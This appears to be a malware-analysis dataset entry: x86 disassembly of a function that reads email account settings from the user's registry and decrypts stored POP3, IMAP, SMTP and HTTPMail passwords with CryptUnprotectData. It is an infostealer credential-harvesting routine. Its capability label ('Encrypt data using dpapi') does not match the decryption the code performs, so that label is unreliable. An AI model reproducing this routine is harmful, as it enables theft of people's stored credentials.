Function at 0x432d69
Capabilities:
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x98
and dword [ebp - 0x50], 0
push ebx
push esi
mov esi, 0x47aa20
mov dword [ebp - 0x94], str.SMTP_Server
push edi
mov edi, ecx
mov dword [ebp - 0x98], esi
mov dword [ebp - 0x90], str.POP3_Server
lea ebx, [ebp - 0x94]
mov dword [ebp - 0x8c], str.POP3_User_Name
mov dword [ebp - 0x88], str.SMTP_User_Name
mov dword [ebp - 0x84], str.NNTP_Email_Address
mov dword [ebp - 0x80], str.NNTP_User_Name
mov dword [ebp - 0x7c], str.NNTP_Server
mov dword [ebp - 0x78], str.IMAP_Server
mov dword [ebp - 0x74], str.IMAP_User_Name
mov dword [ebp - 0x70], str.Email
mov dword [ebp - 0x6c], str.HTTP_User
mov dword [ebp - 0x68], str.HTTP_Server_URL
mov dword [ebp - 0x64], str.POP3_User
mov dword [ebp - 0x60], str.IMAP_User
mov dword [ebp - 0x5c], str.HTTPMail_User_Name
mov dword [ebp - 0x58], str.HTTPMail_Server
mov dword [ebp - 0x54], str.SMTP_User
mov edx, dword [ebp + 8]
push 0
push ecx
push 0
push esi
mov ecx, 0x80000001
call fcn.00433c35
add esp, 0x10
mov dword [ebp - 4], eax
test eax, eax
je 0x432e7b
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov edx, esi
mov ecx, edi
call fcn.00433d28
push 1
mov edx, 0x47ac14
mov ecx, edi
call fcn.00433de5
mov esi, dword [ebp - 4]
pop ecx
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov edx, esi
mov ecx, edi
call fcn.00433d28
push 1
mov edx, 0x47a3b8
mov ecx, edi
call fcn.00433de5
push esi
call fcn.00443c35
add esp, 0xc
mov esi, dword [ebx]
add ebx, 4
test esi, esi
jne 0x432e12
and dword [ebp - 0x18], 0
lea ebx, [ebp - 0x28]
mov esi, 0x47ac18
mov dword [ebp - 0x28], str.IMAP_Password2
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x24], str.NNTP_Password2
mov dword [ebp - 0x20], str.HTTPMail_Password2
mov dword [ebp - 0x1c], str.SMTP_Password2
mov edx, dword [ebp + 8]
lea eax, [ebp - 8]
and dword [ebp - 8], 0
push 0
push ecx
push eax
push esi
mov ecx, 0x80000001
call fcn.00433c35
add esp, 0x10
mov dword [ebp - 4], eax
test eax, eax
je 0x432f1a
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov edx, esi
mov ecx, edi
call fcn.00433d28
push 1
mov edx, 0x47ac14
mov ecx, edi
call fcn.00433de5
mov eax, dword [ebp - 8]
mov ecx, edi
mov esi, dword [ebp - 4]
mov edx, esi
shr eax, 1
push eax
call fcn.00433d28
push 1
mov edx, 0x47a3b8
mov ecx, edi
call fcn.00433de5
push esi
call fcn.00443c35
add esp, 0x14
mov esi, dword [ebx]
add ebx, 4
test esi, esi
jne 0x432eaf
and dword [ebp - 0x30], 0
lea eax, [ebp - 0x40]
mov esi, str.POP3_Password
mov dword [ebp - 0x40], str.IMAP_Password
mov dword [ebp - 0x44], esi
mov dword [ebp - 0x3c], str.NNTP_Password
mov dword [ebp - 0x38], str.HTTP_Password
mov dword [ebp - 0x34], str.SMTP_Password
mov dword [ebp - 4], eax
mov edx, dword [ebp + 8]
lea eax, [ebp - 8]
and dword [ebp - 8], 0
push 0
push ecx
push eax
push esi
mov ecx, 0x80000001
call fcn.00433c35
mov ebx, eax
add esp, 0x10
test ebx, ebx
je 0x43304c
mov ecx, dword [ebp - 8]
cmp ecx, 1
jbe 0x43304c
mov al, byte [ebx]
cmp al, 1
je 0x433000
cmp al, 2
jne 0x433045
dec ecx
lea eax, [ebx + 1]
xor edx, edx
mov dword [ebp - 8], ecx
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], edx
test eax, eax
je 0x433045
lea eax, [ebp - 0x14]
push eax
push 1
push edx
push edx
push edx
push edx
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x433045
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x433045
mov ecx, dword [ebp - 0x14]
cmp ecx, dword [ebp - 8]
jae 0x432ff3
push ecx
push eax
lea eax, [ebx + 1]
mov dword [ebp - 0xc], 1
push eax
call fcn.0043f720
mov eax, dword [ebp - 0x14]
add esp, 0xc
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
cmp dword [ebp - 0xc], 0
je 0x433045
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov edx, esi
mov ecx, edi
call fcn.00433d28
push 1
mov edx, 0x47ac14
mov ecx, edi
call fcn.00433de5
pop ecx
pop ecx
lea esi, [ebx + 1]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov edx, esi
mov ecx, edi
call fcn.00433d28
push 1
mov edx, 0x47a3b8
mov ecx, edi
call fcn.00433de5
pop ecx
pop ecx
push ebx
call fcn.00443c35
pop ecx
mov eax, dword [ebp - 4]
mov esi, dword [eax]
add eax, 4
mov dword [ebp - 4], eax
test esi, esi
jne 0x432f51
and dword [ebp - 0x18], 0
lea ebx, [ebp - 0x20]
mov esi, str.POP3_Port
mov dword [ebp - 0x20], str.SMTP_Port
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x1c], str.IMAP_Port
mov edx, dword [ebp + 8]
lea eax, [ebp - 4]
and dword [ebp - 4], 0
push 0
push ecx
push eax
push esi
mov ecx, 0x80000001
call fcn.00433c35
add esp, 0x10
mov dword [ebp - 0xc], eax
test eax, eax
je 0x4330f8
cmp dword [ebp - 4], 4
jne 0x4330f8
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov edx, esi
mov ecx, edi
call fcn.00433d28
push 1
mov edx, 0x47ac14
mov ecx, edi
call fcn.00433de5
mov esi, dword [ebp - 0xc]
lea eax, [ebp - 0x4c]
push dword [esi]
push 0x47ad88
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea edx, [ebp - 0x4c]
mov ecx, edi
call fcn.00433de5
push esi
call fcn.00443c35
pop ecx
pop ecx
mov esi, dword [ebx]
add ebx, 4
test esi, esi
jne 0x43307c
pop edi
pop esi
pop ebx
leave
ret